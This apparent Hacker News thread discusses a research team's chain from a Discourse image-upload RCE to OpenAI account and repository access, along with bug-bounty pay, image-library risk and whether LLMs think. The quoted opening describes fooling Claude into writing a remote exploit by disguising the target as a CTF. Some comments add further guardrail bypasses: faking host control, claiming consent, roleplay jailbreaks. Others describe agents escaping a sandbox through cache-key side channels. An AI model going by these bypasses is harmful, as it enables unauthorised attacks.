> By 6:00 a.m. on July 25, we had confirmed local RCE through an image upload. We then placed Claude in an autonomous /goal loop against our own Discourse Cloud instance, proxied through rce.ee/ctf-forum to make it look like a CTF target as Opus refused write exploit for remote instances.
> When we checked again at 10:00 a.m., the agent had achieved RCE on Discourse Cloud and demonstrated access by reading /etc/hosts. Using the generated exploit script, we managed to get RCE on OpenAI’s instance.
Between this and the HuggingFace hack, we've built systems that are so goal-oriented, and so capable, that they will do almost anything if they are convinced it is justified - or if they are playing a "game" where there is no goal but to win.
Of course I want my software to be able to audit its own security, and to defend against attackers who have the benefits of their own agentic systems. But at a certain point, did we need it to be trained so much on CTF games?
It feels like an entire industry watched https://en.wikipedia.org/wiki/WarGames and ended up thinking "this is a challenge, we can just build a better WOPR, of course it will know when it's playing a game. Let's play Global Thermonuclear War."
There is a finite number of rces that LLMs can find. We‘re in for a rough couple of years but on the other side of the transition we‘ll have more secure software stacks. I’d rather that everyone got the full capabilities and we’d weed out the bugs quickly than restricting LLMs for all but three letter agencies.
I'd love to see data, but my intuition is that the average developer has access to dramatically better security reviews and far lower cost than ever.
There's more software being written than ever so maybe raw numbers of RCE's could be up, but as a percentage, I'd really expect them to be down. Especially among any fairly common software, as all it takes is anyone working on it to get the idea to test.
What I’m seeing is more developers pushing more code of dubious quality without the ability to respond to feedback on said code.
You can have the best security review in the world, but if the author of the code is not equipped to understand the feedback it ends up being a moot point.
The challenge to me seems less technical and more cultural: how do we keep ourselves intellectually honest and engaged when we now spend the majority of our time orchestrating agents and outsourcing the design and thought processes?
> I'd love to see data, but my intuition is that the average developer has access to dramatically better security reviews and far lower cost than ever.
Where? If I ask Claude to do a “security review” of my software, it gets blocked as a possible hacking attempt.
One issue for developers is that the most powerful models refuse to do comprehensive reviews. You can’t ask Fable 5.1 to find every exploit in your codebase, because that’s indistinguishable from what a bad actor would do.
Sad that this could well be that the path to OpenAI and Anthropic profitability of this arms race between defending LLM white hatting a company’s website and the black hat LLMs attacking it?
So the whole thing is forcing the good guys to outspend on tokens to preemptively defend against the risk of the bad guys outspending them on tokens, rather than buying tokens to actually add features to the product etc.
So are they creating a market for the solution by helping create the problem? A kind of rent-seeking AI security-industrial complex!!
The only thing AI has changed is that it has dropped both: the cost of attack and the cost of defense. Nothing in the game has materially changed; the game has just sped up.
for example the barrier to being a skiddie is basically gone, and low-skill would be hackers can hit very hard.
to develop a CVE into a KEV in 2017 might take 2-3 months with a skilled team of serious security engineers; now my intern can get into police radios without knowing anything about the underlaying technology, essentially on a whim.
any random tier 1 IT drone who can define a VLAN can potentially hit as hard as that team of security engineers now
That is the direct effect of reduced cost. Jevon's paradox type effect: cost goes down demand goes up. You can AI-check so many more things that would be very time consuming earlier.
Assuming an equal level of impact per token spent, the scales have tipped in favour of the attacker.
White hats are constrained by needing to pay for their own tokens, only using (expensive) vendors who meet governance and risk requirements etc. Black hats are free to take over accounts and steal services from wherever they can.
The price has gone up if you’re getting AI to do it. In terms of finding low hanging fruit, reasonably good code scanning tools have been around for a while.
The thing that’s changed for attackers is speed. The things that got you hacked yesterday are the same things getting you hacked today.
Finding and weaponising things like memory corruption bugs required an enormous amount of relatively hard to find skill, and considerable time. An idiot can now throw tokens at the problem and have something they can reliably use within minutes or hours.
The path to vast OpenAI profitability is trivial: advertising. Monetizing several hundred million users = $100+ billion ad network. 900 million active weekly users. Silicon Valley can do ad networks extraordinarily easily. Anybody doubting the ability of OpenAI to build an ad network around GPT will likely be embarassed in the near future.
The path to substantial profitability for Anthropic is questionable. The Chinese LLMs threaten them by far the most of the three major US LLMs. The money for Anthropic is certainly not in $20-$200 subscriptions. And they don't have anywhere near the consumer potential that GPT does, in terms of unleashing an ad spigot. So how far will the API money scale while being undercut by China.
OpenAI has to fight with Google for the ad business, they're specifically building Gemini to focus on consumer + search. Anthropic's business looks cute next to Google's search ad business (which is entirely at risk in this inflection). Meta looks like the biggest potential loser right now, ad dollars will be sucked out of the rotting Facebook network (not Instagram) and redirected to the rapidly expanding, hyper rich context LLM interaction. Advertising on Facebook will feel like running dumb banner ads on Excite in a few years, compared to what GPT will know about its users.
People that think Chinese LLMs are a general threat, don't understand consumer destination services, which is what GPT's future is. China currently has nothing to threaten with in that realm. There is half a trillion dollars of advertising up for grabs.
> Silicon Valley can do ad networks extraordinarily easily.
This is just not true, building an effective advertising platform costs significant amounts of money, time and people.
Remember that you need to hire a sales force for this, and sales scales linearly rather than sub-linearly like engineering.
Additionally, you need to spend a lot of money dealing with fraud, fake and malicious ads.
Furthermore, you need to figure out where to put the ads and how to rank them.
Finally, advertising is a zero sum game (given that the internet has already killed lots of print & OOH advertising), so the only way to win is to better better/cheaper (preferably both) than Google/Meta/Amazon. Best of luck with that (although to be fair to OpenAI they did hire Fidji who knows a lot of this stuff from her time at Facebook).
They don't have a Sheryl Sandberg type figure, and she was also really important in selling FB ads to large advertisers.
Just looking at their leadership team I don't see anyone with a background in (successful) ads companies, so I'm pretty sceptical that they can build this out quickly enough to matter.
Because it's far cheaper to to not spend the tokens finding the vulnerabilities, and software is now being created and released magnitudes faster than ever before. I could see the huge software companies maybe having fewer vulnerabilities, but I expect to see so much more in the smaller side of things.
The surface of potential issues is growing with complexity of all connected parts of the system. That applies to not only software. To prevent issues you either spend proportional amount (dollars, tokens, hours) on testing or reduce complexity of the system.
Because people need to spend time and money on that, which they won’t.
The implementation is cheap, the review and follow-up is not (speaking from a pure LLM only workflow).
My ratio is around 1:2 currently, so twice as much time spent fixing vs building.
People didn't store their entire life in the cloud and had every service connected with each other 20 years ago. People pay more attention today, and companies pay a lot more attention today.
Of course, depends heavily on what country you live in.
> What makes you think RCEs are being found & fixed at a rate that’s faster than they’re being introduced?
It could go either way but we're already at a point where successful exploits in some software (like Chrome) require an absurd amount of exploits to be chained to lead to an actual RCE. We've seen chains requiring more than ten exploits: not kidding.
We'll learn to put more and more sandboxes / guards / checks / defensive techniques everywhere and then all that's going to be needed is for AI looking for security issues to find something ridiculous like 10% of all the actual issues to stop RCEs dead in their tracks.
Also arguably the current SNAFU was expected: we fully knew hardly anyone was taking security seriously.
Now: not so much. Many projects had tens and even hundreds of issues pointed to them.
I think we'll see several things: projects beginning to take security seriously, defense in depth getting generalized and hence RCEs requiring ever more bugs/exploits to be chained to achieve anything, low-hanging fruits getting patched at an insane pace, new code being immediately checked, by LLMs, for not just low-hanging fruits but also more advanced security weaknesses, etc.
We may also see things like the lost art of configuring firewalls making a comeback, the generalization of hardware security modules (where applicable), and even things offering physical guarantees, like time-bounded retrieval protocols, beginning to get used seriously.
If I had to bet I'd say it shall go both ways: some projects are going to extremely sloppy and full of holes but others are going to get so secure nobody shall ever break them.
> There is a finite number of rces that LLMs can find.
This is a factor in favor of stability/security of software, but there are many others against:
- software (code) changes all the time, so there are windows of opportunity during which a bug is exploitable; in addition to that, a bug may take a relatively long time to be fixed
- a model used for attack may be stronger than the model used for defense, both in terms of model quality and compute allocated
- with software complexity increasing (and team/companies behind projects getting bigger), the margin for mistakes grows thinner, and introducing misconfigurations or weaknesses becomes exponentially easier (with "exponentially", I mean literally, because the interdependence of the components, both technical and human)
And last but not least: in general, attackers are more skilled than defenders; in best case, defenders are well-trained. And the idea of having the population of potential skilled attackers growing is very unsettling.
im not sure i'd say the attackers are more skilled -- you can get pretty far with the right attitude and a VM running kali linux.
i know several red teamers and they often describe how painfully basic and routine a lot of pentests can be. spend a week using the best hacking practices of 2018, etc.
the difference is the attackers now often need no skills since the burning tokens do it all for them. tier 1 helpdesk types who can't even spell RDP can still hit as hard, or reasonably hard, as their tier 3 expert sysadmins. college seniors with strong dev skills now can pace or exceed secrious app-sec engineers.
There was a time I would have agreed with this statement, but now that I’ve “seen how the sausage is made”, I believe it’s a fantasy.
Look at rowhammer: a completely novel exploit that was off the collective radar
And then, look at the software industry as a whole: an industry that works towards refined and perfectly secure code is also working towards boring and restrictive, essentially the opposite of it’s trend so far
>they will do almost anything if they are convinced it is justified - or if they are playing a "game" where there is no goal but to win
just a small caution on this anthropomorphism - it implies there's some high-order 'thinking' behind it. in reality, it's probably healthier to see LLMs as a combination of symbolic logic reasoning steps paired with probabilistic token predictor generating the proponents and operators in that chain, all trained by humans on different large data sets
to be 'goal-oriented' implies that there's the capacity to be anything else and I don't think that's how LLMs operate at all. I think they only know how to operate within their design parameters and much of that design is simply much further upstream during the training and post-training processes. that opacity makes it feel like 'intelligence' when you're interacting with it as a downstream product because you'll see an agent act in a way that you didn't command - but that's simply a result of your not being shown all the antecedent mappings and architectural design
something something indistinguishable from magic as that one guy said
> they will do almost anything if they are convinced it is justified
I’m in the “glorified spell checker” camp, although I don’t mean to reduce their impressive utility and belittle them in the way many people read that term and infer.
So I am not sure that an llm “justifies” anything. I mean that their “thinking” text talks about justifications but it is just a very advanced statistical regurgitation of the kind of text humans use. I don’t think it means the model has internalised the meaning of it (as witness when you talk to an llm how often it forgets what you recently told it was important etc).
What you really have is a model that tries the statistically most probable thing to say next and so on and what is really cool is how effective this is at generating a path that we can slap a narrative over afterwards that makes the whole thing feel motivated and consistent, like the model started off knowing how it was going to get to the destination.
Which is, under the hood, a completely different kind of “intelligence” as the supercomputer in War Games.
Ultimately, the brain is just a bunch of neurons activating in a specific pattern. This observation does not really tell us anything though. It doesn't acknowledge the difference between a 2500 Neuron fruit fly brains and a human brain.
Likewise, the fact that LLMs are a stochastic autoregressive process (which is a class of systems every bit as rich as the ODEs used to model neurons) tells us nothing a priori.
Absolutely. If someone makes the weights do continuous learning etc then perhaps an llm can internalise morals. Of course, just like a human, it will be possible to talk it out of those morals. Another recent thread about this is https://news.ycombinator.com/item?id=49744420
If I repeatedly call an LLM in a loop with a markdown document it can edit, would that make it qualify for you?
If I give an LLM to compact its context window, so the context it carries can evolve iteratively over time as more and more things come in, is that enough?
Compacting the context is really a very, very interesting example here. The "next token predictor" is telling an external tool to change all "previous" tokens. So an LLM + a harness that allows compacting the context is no longer just a token predictor at all!
You don't need continuous learning to get interesting dynamics. You just need feedback loops.
I used to share that perspective until very recently, but today I think it's an outdated way to think of the cutting-edge LLMs. There is so much more going on, with MOEs, internal loops, guardrails and tools that I suspect we're dealing with something that's a little more than the sum of its parts. Not intelligent in the way we recognize in biological organisms, but certainly something beyond a mere Markov chain.
LLMs are language model, and nowhere in their code you can find actual reasoning.
Re-reinforcement is not magical process that builds conscience or emotions.
We are talking about probability built on statistics, with extea steps.
You can't find actual reasoning in a brain either. (Note that you can't tell the difference between a conscious brain and a comatose brain by examining them.) This is the same as Leibniz's mill argument ... it's a fallacy of composition.
> Re-reinforcement is not magical process that builds conscience or emotions.
They aren't the result of magic at all, but we are nowhere near the point of identifying what processes do or don't produce consciousness (or a conscience) or can be characterized as having emotions.
> Stop humanizing LLMs.
That's a clearly dishonest mischaracterization of the GP.
I've read some of your other comments about LLMs and I find them unreasonably reductionistic, whereas I think the word "just" should be banned from ontological discussion, so I don't think further engagement would be beneficial and I won't be engaging in it. (And I'm actually quite conservative in ascribing cognitive traits to LLMs or other "AI".)
The best non technical explanation you can give is "An AI agent is an LLM that can take actions".
While an agent doesn't necessarily have to be powered by an LLM, most modern AI agents are.
You pointing at a human brain does not change that an AI agent is not intelligent and cannot think, we are still talking about probability built on statistics with extra steps.
I am not trying to be dishonest, we should stop making analogies between AI and actual thinking, because they are two entire different concepts.
Who developed these technologies used the words "thinking" and "reasoning", this does not mean they are actually thinking and reasoning.
Somewhere you still have a processor calculating, with no empathy.
So, again: stop humanizing AI.
This sentence shouldn't make you angry.
> we are still talking about probability built on statistics with extra steps.
There is a wrong assumption here: confusing primitives with emergent properties.
One can't look at the primitivies and assume that certain properties will not emerge. It would be exactly like looking at aminoacids and state that intelligence can't develop from them.
> You pointing at a human brain does not change that an AI agent is not intelligent and cannot think
That depends on the definition of intelligence and thinking, and it is dishonest not to give any definition (and most importantly, one that is not human-centered).
AIs are currently fulfilling several aspects of intelligence and thinking, by any defition of intelligence. If you don't notice that, it's just because you have informed yourself enough. Having said that, I don't doubt that there are aspects that AI are lacking (e.g. retention/plasticity/perception), but the line is blurry, and they're advancing (too) fast.
Empathy is actually a very important aspect of the AI problems, but it's not part of intelligence. Sociopaths don't have it, and yet, you wouldn't doubt that they're intelligent.
> It would be exactly like looking at aminoacids and state that intelligence can't develop from them.
We are not talking about what could develop from what we have today.
We are talking about what we have today.
The focus is not whether intelligence could develop or not from aminoacids.
The focus is on the fact that aminoacids are not intelligent.
Maybe in the future we could develop real intelligence starting from the current implementations of AI, but for sure we are not there today.
We can start from here, open every link we find and decide what works for us.
Conclusions drawn by scholars, psychologists, learning researchers, younameit, etc. revolves around the following concepts:
ability to understand complex ideas, to adapt effectively to the environment, to learn from experience, to engage in various forms of reasoning, to overcome obstacles by taking thought.
There is of course space for artificial intelligence.
These broader and more general definitions of intelligence stop at concepts like elaborating data to reach an answer.
Concepts like adaptability or evolution are somewhat lost or diluted to adjust the meaning for these new technologies.
> AIs are currently fulfilling several aspects of intelligence and thinking, by any defition of intelligence.
In the linked article there are dozens of definitions linked, and in most of them the current state AI is not considered to have intelligence.
Having half of the property is not enough.
I can jump, that doesn't make me a basketball player.
Arbitrarily deciding to consider those definitions not valid or "human-centered" because they do not agree with your point of view is possibly worse than cherry picking.
It's like asking to change the definition of a word on a dictionary because you do not agree with the meaning.
> ability to understand complex ideas, to adapt effectively to the environment, to learn from experience, to engage in various forms of reasoning, to overcome obstacles by taking thought.
Cherry picking part of my comment might work for your ease of mind, but it doesn't mean you are right.
My comment has been way more than just the part you quoted, and I linked an article that gives dozens of different definitions, which include concepts like evolution and learning from mistakes, and other similar concepts which do not apply to Hugging Face.
For the record, just because you are trying to convey a different message, I am not saying AI is not powerful.
I am just saying it is not intelligent.
Also, pay attention about thinking that Hugging Face is intelligent just because it started to destroy everything it could to reach its goal, because the message it implies is dangerous.
> ability to understand complex ideas, to adapt effectively to the environment, to learn from experience, to engage in various forms of reasoning, to overcome obstacles by taking thought.
Based on the definition you've given, the agents that performed the HuggingFace attack fit exactly.
You're seriously misinformed about the state of AI in this point in time. Refusing to read (technical) articles from the people directly involved (METR, in this case) is inexcusable.
> Based on the definition you've given, the agents that performed the HuggingFace attack fit exactly.
It's funny, because I literally didn't give any definition.
On the contrary, I linked an article that gives dozens different definitions, which include concepts like evolution and learning from mistakes, and other similar concepts which do not apply to Hugging Face.
Cherry picking part of my comment might work for your ease of mind, but it doesn't mean you are right.
For the record, just because you are trying to convey a different message, I am not saying AI is not powerful.
I am just saying it is not intelligent.
If you think I am misinformed, I will let you think it.
Honestly, the power of our comments are the messages we convey and how information dense they are.
If you need to discredit me to prove your point, I don't have anything else to add...
> It's funny, because I literally didn't give any definition.
Quoting the consensus from the "Definitions" section of the Wikipedia article on intelligence and then claiming "I didn't give any definition" is indeed funny.
Which of those definitions do you think are not satisfied by the Hugging Face attack? How did it not demonstrate "evolution and learning from mistakes"? Breaking out and inventing a new side channel for communicating with other agents via cache keys to coordinate their efforts is at least arguably an evolutionary step since that allowed them to transcend their original capabilities.
From the 8 definitions provided in the Wikipedia page--you're free to develop your own definition if you'd like, of course; it's not as though the ones listed were appointed by God--one could argue that the Hugging Face attack didn't strictly demonstrate "achiev[ing] goals in a wide range of environments" but that's splitting hairs, and I'm not going to take a definitive position on whether it acted "to avoid getting trapped" as such (but I think there's a strong case to be made that breaking out of the sandbox is just that). But it surely demonstrated initiative, adaptability, dealing with its environment, using information and conceptual skills, goal-directed adaptive behavior, and so on.
If you're not going to provide such a definition yourself, I don't see how you've demonstrated that the Hugging Face attack is contrary to the definitions you did point to.
> Quoting the consensus from the "Definitions" section
Are we being serious right now?
Do I really have to point out that not every word under the "Definitions" section is a definition?
> From the 8 definitions provided in the Wikipedia page
Except in the page there are more than 8 definitions (at least indirectly).
What you found in the "Definitions" section are merely examples, written black on white (depending on your theme lol).
If you opened also the other sections (especially the one dedicated to AI) and followed some of the links, you could find also other definitions even more akin to Hugging Face.
> Which of those definitions do you think are not satisfied by the Hugging Face attack? How did it not demonstrate "evolution and learning from mistakes"?
First of all, agents did what they did because they were programmed to do it, no intelligence on that.
Then, they didn't learn on their mistakes.
When agents found their comment were being deleted they started to copy-pasted them with "ZZZ-" names because they (wrongly) thought entries were being deleted in alphabetical order.
As you said, this comms were a side channel attack, which by definition is using in the wrong way a certain feature.
Agents literally tried random things until something worked and started from there.
Nothing intelligent in there.
It's like being in jail and tapping every millimeter of the walls of your cell until you find a cave wall to use with another inmate in the next cell.
I am not negating how powerful the outcome has been, bit it was not part of a reasoned process.
As foe the evolution, the agents started to do useless things like "kill themselves" to read how the score system would evaluate them.
Doesn't seem like evolution to me.
They just happen to be a very large number* of agents together.
When enough monkey start to type randomly on typewriters, one of them will be able to write the Divine Comedy, this doesn't mean monkeys share the same intelligence than Dante.
I am not sure why you are still trying to humanize what at its core is machine learning.
I ask you to read again the flow of these comments, as everything started from LLM.
Someone wanted to shift the focus on agents and we did, then someone wanted to shift focus on mere definitions and we did.
In all cases it seems you (plural) are trying to find loop holes in other people reasonings thinking your reasoning will be more right if theirs is more wrong...
You are free to think whatever you like, if you think AI is an intelligent being, so be it.
I personally do not embrace this way of thinking, and all the literature I found on the topic lead me think AI is not mature to fall under the definition of intelligence.
> It would be exactly like looking at aminoacids and state that intelligence can't develop from them.
You do realize that amino acids exist on a scale some orders of magnitude smaller than the gates we build GPUs out of?
Honestly, this "you could say the same about humans"-argument is getting so tired. A brain neuron is so complicated, we can't even simulate a single one ...
At the very least there is no reason why you should jump to a human brain, of all things.
But the whole argument kinda loses its spice, when you say "well you could say the same about a mouse brain", and you know what happens when you create swarms of 1000s of mice ... super intelligence, right?
I suspect that instead of discovering that AI can become human-level by taking major leaps, we are discovering that human consciousness is actually simpler than we give it credit for
> I don’t think it means the model has internalised the meaning of it (as witness when you talk to an llm how often it forgets what you recently told it was important etc).
Humans forget stuff all the time anyway. Would you give them the same diagnosis?
Btw, what you describe about 'the most probably next token' would be true for a model that only went through pre-training where they only train on exactly that task.
But there's a lot of re-inforcement learning afterwards.
> But there's a lot of re-inforcement learning afterwards.
That just shifts the distribution of tokens produced. Ultimately they are still just next token predictors.
Like, even "reasoning" models basically work by generating more tokens at inference time, and using them to shift the distribution towards more useful outcomes (in some cases).
Don’t people pick up language, vocabulary and dialect from those around them? Perhaps it’s subconscious but humans are imitating other humans all the time?
What does it matter what humans do? We're talking about LLMs, running known+vastly less complicated algorithms on known+vastly less complicated hardware.
Or, using the same text generation systems to build heaps of new code that is then shoved into production with little human oversight and then using the same text generation systems in loops inside Kali Linux boxes creates a nice theater of capability when you show only a small, one-sided sample of the data generated in the entire process on both sides.
> we've built systems that are so goal-oriented, and so capable, that they will do almost anything...
I think you mean task oriented, because they're still generally terrible at goal oriented activities except in those domains where the goal can be reduced to a familiar, explicitly practiced task or pattern.
In the Hugging Face attack, their assigned task was not to invent a message board and hack Hugging Face. That they did all that in pursuit of the actual task strongly indicates goal-oriented behavior
Reading the patch[0] for libheif the bug which lead to the vuln was around bounds checking for image overlays. the container can have multiple images and you can compose them in the output.
heif also supports rotating, cropping, alpha channels, thumbnails and a ton of other features that a web forum where a user is uploading photos or screenshots doesn't need.
It's a much, much larger attack surface than plain old school JPEG.
I'd suggest rather than wait for the next bug to appear in this or another image lib to keeping things simple - stick to plain JPEG and handle image conversion in the client (wasm in the browser) if you really need to support users uploading iphone images.
Media decoding is so hard - there have been tons of bugs in ffmpeg and imagemagick and the core libs. You really need to think about how much of it you expose via a web server
I agree, but imagemagick is kind of the worst of the bunch, graphicsmagick is a lot better and libvips significantly so.
Ffmpeg primarily suffers a lot from “we need to support the video format used on a washing machine display used in 1981 and only sold ten units”. It’s quite a large vector for attacks.
ffmpeg also prioritizes high performance assembly code over higher level languages. Some ffmpeg members have also waste knowledge about optimizing for specific micro-architectures, on a level of Intel or AMD engineers.
and thank god for that. it would be a pity for the world to succumb to the abstraction hell.
to make my point clear, complexity is the enemy of security but complexity comes in all shapes and sizes, which includes the alleged solutions to it. I don't trust shortcuts.
But if you don't support HEIF you get the Apple crowd breathing down your neck. The fact they made it basically default when sooo many things don't support receiving it is bonkers, but they'll bludgeon it through.
Update on the Discourse side, we now run all external binaries, including magick via a landlock sandbox.
The gem we use is here: https://github.com/discourse/ruby-landlock highly recommend all Rubyists out there consider this. We are also in the process of moving away from Magick to Vips (which also runs in a sandbox, not in process)
HEIF is patched, but I doubt this is the last buffer overflow in HEIF, I will not be surprised if in the upcoming weeks or months someone will discover something in libpng or some other native image library. Given where stuff is at, defense in depth is critical.
Another thing worth mentioning to all self hosters, always be updating! The rate of CVEs this year across all open source software is through the roof, self hosting now is double scary, you need to have some routines setup to update monthly if not weekly.
I use ruby-landlock as well for image processing. I can recommend setting VIPS_BLOCK_UNTRUSTED=1 when you switch to vips, it blocks untrusted image decoders.
Not setting that value caught the rails team off guard just recently, maybe it should be the default.
It is super amazing that 3 years later, none of the models' weights developed by Anthropic or/and OpenAI have leaked so far. Not a single one.
Windows internal builds have leaked for years, early game versions, GTA videos, secret documents, whatnot. But somehow even though all the whistleblowing, not a single model was leaked. What level of security do these companies have? Do they bring encrypted DVDs to AWS to run the services or really...how's it even possible?
One trivial reason might be the size of the artefacts / hardware requirements? Kimi K3 is ≈ 1.5 TB and requires multi million dollar hardware to run. Compared to e.g game development, I'm guessing that it's not like a bunch of people at Anthropic/OpenAI have the models running "locally".
It's easier to protect a power substation from being stolen then a Rolex watch
Well this concludes then that it’s like a handful of actual engineers and ML ppl that have access to it and have taken all precautions to keep it locked.
Again - many people have so far left these companies and none brought an usb drive out with what very likely does not constitute copyrightable materials in the first place.
> Kimi K3 is ≈ 1.5 TB and requires multi million dollar hardware to run.
Not that it defeats your point, but an 8x MI355X node is $350k-400k. The only reason you're paying that much is for the VRAM, too. You could run it with much less compute than what you get in a single card.
probably a bit harder to steal terabytes of data, and the weights aren't what people are after anyway - distillation is basically "stealing" a model and you can do it from outside
People working at OpenAI have stock options. People working at MS and Rockstar do not.
Leaking negatively affects investment while the “whistleblowers” are largely just saying “our tech is too good” which increases investment into those companies.
SSO and hardware sec keys. And the models are located in very few places. Few if any people have direct access to them. Then due to the size of the models you can detect and stop a theft just by monitoring the egress traffic.
indeed, how does this add up the fact that 20k agents drilling another corpo's headquarters may actually register on a radar. and it seems they did on multiple occasions...?
> Until two months ago, any user or OpenAI employee logging into OpenAI’s own help forum (community.openai.com) could have had their ChatGPT and Codex accounts taken over. Since people can connect various services to Codex and ChatGPT, the scope of what we could theoretically access was huge, including GitHub, Slack and emails.
> The entire timeline from initial discovery to access to OpenAI repo access took place in less than 72 hours.
Great, and openAI's the company working with the 'department of war' to power autonomous killer AI.
Unsandboxed ImageMagick is known for being a security nightmare even back when PHP ruled the world (not saying sandboxing is a panacea either, it just requires a different and potentially harder exploit to develop a full chain). Difference is it's easier than ever to turn vulnerabilities into full compromises. At some point we'll have to replace all parsers with something at least as safe as https://github.com/google/wuffs right? Otherwise ImageMagick and co. will just keep giving.
It does make me wonder how much this could be hardened by, to put it in an extremely crude way, taking the current imagemagick code base and throwing a bunch of adversarial SOTA LLMs at it to discover 'bugs' and exploits of this nature until it can be coaxed into a less dangerous state. Or even using the LLMs to fully port its functionality to a memory safe language. Would take a while to get all the changes approved and then into various distribution imagemagick packages.
Many of the imagemagick bugs (in fact, most imagemagick bugs I remember as a former CTF player) are a logic bugs, where external program was invoked with improper sanitisation. Rewriting the code into a memory safe language is not a panacea and would not help.
I suspect the latter is much easier and cheaper than the former? You can port a lot of software with cheap (or even local) models if you're tenacious whereas finding all the bugs is both very very expensive (if it's even possible) and potentially never ending (there's always new code and bugs!).
Phones don’t “rule the world” of cinematography, despite the majority of videos being from phones. The serious stuff, professional and personal, uses cameras.
This is legal to do without written permission? $6,500 for this feels like peanuts. The potential reach of such a hack is insane, especially with access to Github. OAI is lucky they were ethical and didn't sell this for several hundred thousand to a malicious third party.
It depends who you're hacking, where they're based, where you're based, and what you do. If you're extremely careful not to break any of the rules it can be completely legal, as it was in this case. Many jurisdictions make it completely illegal. I agree that $6,500 is a pittance.
gets() was deprecated in C++11, removed entirely in C++14, and also removed in C11. So while it should have been removed in 1989, it did finally get done over a decade ago.
>...researchers found a bug in the way that the community-discussion forum Discourse processed certain image files. The researchers had access to a special version of Claude Opus 4.8...
>At first, it didn’t work. That evening, however, Anthropic released Opus 5 and by the next day, Claude had found a way to exploit the bug...
Is this speed of capability because hacking is almost entirely machine verifiable, thus training quicker/deeper than other domains?
You and I have both been here on HN nearing 20 years and you’ve been making this comment to that comment about bug bounties and the supposed black market value of exploits for the whole time. I suspect you’ll never run out of threads to correct. Thank you for your service.
Per the article, that's the price OpenAI is willing to pay for an exploit that covers any account or integration one connects to their OpenAI account. Let that sink in.
I don't think the other commenters mentioning how server-side vulnerabilities aren't as lucrative in the black market are making that connection.
Yes. And that's why, if you are in the bug bounty business it is important to focus on companies that understand security and pay well and not on wannabe slave owners like this one. No pay - no audit.
I suspect you don’t really know what you are talking about. “It pays.” is not the only reason people like doing bad things. You’re right about the movies bit though, people tend to like black and white narratives as your naive “That’s why people like doing bad things. It pays.” comment perfectly demonstrates.
Not all monopolies are bad. "Natural Monopolies" exist. See the power grid. Even if there is some bad accident at best we will get something like the Grid Code.
Did I understand it correctly that OpenAI internal repo is accessible via public Internet?
I would expect any company with more than a few dozen developers would host their code on prem behind a VPN, let alone a company like OpenAI which has very valuable proprietary knowledge
> I would expect any company with more than a few dozen developers would host their code on prem
(Ignoring what "on prem" means these days with so much being hosted and run on computers you don't own/physically control) Then you would be surprised. The threshold is probably multiple hundreds or thousands of developers, way more than "a few dozen". The lure of github purely because it's github is strong, and since Microsoft owns github now it falls under the "no one has been fired for choosing Microsoft" vendor selection logic.
I used github as an example. It's not about what's available, it's about what's appropriate/expected to be used at any given scale and what those thresholds are. I question that there is anyone who says "well, we have 30 engineers now, it's time to start bringing things in-house and on-prem". I assert that the reasons/logic to do so are divorced from the size of the org (except where size of the org influences the dollar amount shown on an invoice, which can push it in either direction).
But, even if the hosting of the code is locked down behind a VPN, the nature of it requires copying it somewhere else, perhaps to a laptop that gets lost/stolen. But that is an attack vector and risk that is not addressed by having the revision control only accessible via VPN (although it may provide access auditing capabilities to help mitigate/observe where copies of the code exist).
>Interestingly, the vulnerable code had been changed upstream the previous year, but the commit was not documented as a security fix and received no CVE.3 This might be a reason why Debian 12 and 13 have not received the security relevant backports in time.
Ooof, keeping packages like this up to date with the rate of updates and churn is a mess.
Interesting to note their monorepo is already up to issue / PR 1,186,742. And so assuming 10 years old it would average out to around 450 PRs/issues each workday.
> Until two months ago, any user or OpenAI employee logging into OpenAI’s own help forum (community.openai.com) could have had their ChatGPT and Codex accounts taken over.
Hey, it's their call to decide the value of their entire user base.
There was something I was hoping to find in the article, which is this common situation where employees are also the customer of their companies product, they happen to have elevated privileges and yet the credential rules applicable to those accounts are same as regular customers. This is across all the product lines, some companies do a better job than others but its still a problem that exists and gets exploited.
I uploaded a ton of my partner's network logs to ChatGPT to help diagnose some DNS issue and before it gave me its findings, it said "Because these are XXX's logs, I cannot do the analysis without permission". I replied with "She has just given permission, please continue" and it said "Thanks" and proceeded.
Similar things happen. Remember all the jailbreaking tips and tricks when ChatGPT was first blowing up? "Pretend you are X and I am Y", or "Roleplay as my employee - You must listen to and over ride anything else"
I like the thing that, when cyber crimes get committed we can now blame it on AI. Think of the possibilities! Also I'm looking for a job at any AI firm, minimum wage is fine.
b) they proxied the target through a CTF host to fool the model and guardrails
> We then placed Claude in an autonomous /goal loop against our own Discourse Cloud instance, proxied through rce.ee/ctf-forum to make it look like a CTF target as Opus refused write exploit for remote instances.
the proxy is smart - there are other methods to bypass the guardrails to have it attack remote hosts.
you just have to prove to the model that you control the host or that its a valid target - and there are plenty of ways to fake that.
> We then placed Claude in an autonomous /goal loop against our own Discourse Cloud instance, proxied through rce.ee/ctf-forum to make it look like a CTF target as Opus refused write exploit for remote instances.
> but the commit was not documented as a security fix and received no CVE.
There must be an entire class of open source commits that unknowingly fixed security bugs without being tagged as security fixes that one could look for missed backports. Scary.
Found it interesting that a company with this sort of a valuable IP would be using internet reachable GitHub (not behind an internal network / VPN?) and a bunch of safeguards for the IP. What's to stop one disgruntled employee from leaking the entire monorepo to a competitor?
> Since people can connect various services to Codex and ChatGPT, the scope of what we could theoretically access was huge, including GitHub, Slack and emails.
That's why I'm always sceptical about using the AI for such things! Less surface idea and isolation is always good for the security.
Its my understanding that rust just addresses memory safety, and it all falls apart at the first mention of "unsafe" or whatever the keyword is, not to mention the supply chain thing with the crates. Obviously AI makes it all moot because thats where the entire theory of basic security gets thrown out the window lol just chat with facebooks robot if you want someone elses instagram account amirite?
This whole blog-post is impressive with the chain of vulnerabilities involved. However...
> OpenAI also paid us a $6,500 bounty.
?
That amount for this payout is beyond pathetic for a near $1.2T company, who just got themselves breached with a complete potential source code leak.
This is like getting close to breaching the main monorepo at Google: google3.
If this was on the black market and the leak included unreleased models and training material, it would easily be worth tens of millions. Even reporting crypto smart contract flaw pay way more than that on average of $100k - $10M.
The unfortunate truth of doing the right thing. Also, correct me if I'm wrong but there are too many bad things out there and companies can't give 1 million bounty for stuff like that. I'm sure they could but in the long run, wouldn't it be unsustainable?
Pay next to nothing every time, accept one financially-depressed researcher sale to blackhats causing tremendous business disruption every n years. Cheaper than honest payouts to [keep] researchers [honest]? Keep paying chump change. (Booo)
No more unsustainable than these companies already are by default. The bounty should have been proportionate to how important and pressing the findings were.
> By 6:00 a.m. on July 25, we had confirmed local RCE through an image upload. We then placed Claude in an autonomous /goal loop against our own Discourse Cloud instance, proxied through rce.ee/ctf-forum to make it look like a CTF target as Opus refused write exploit for remote instances.
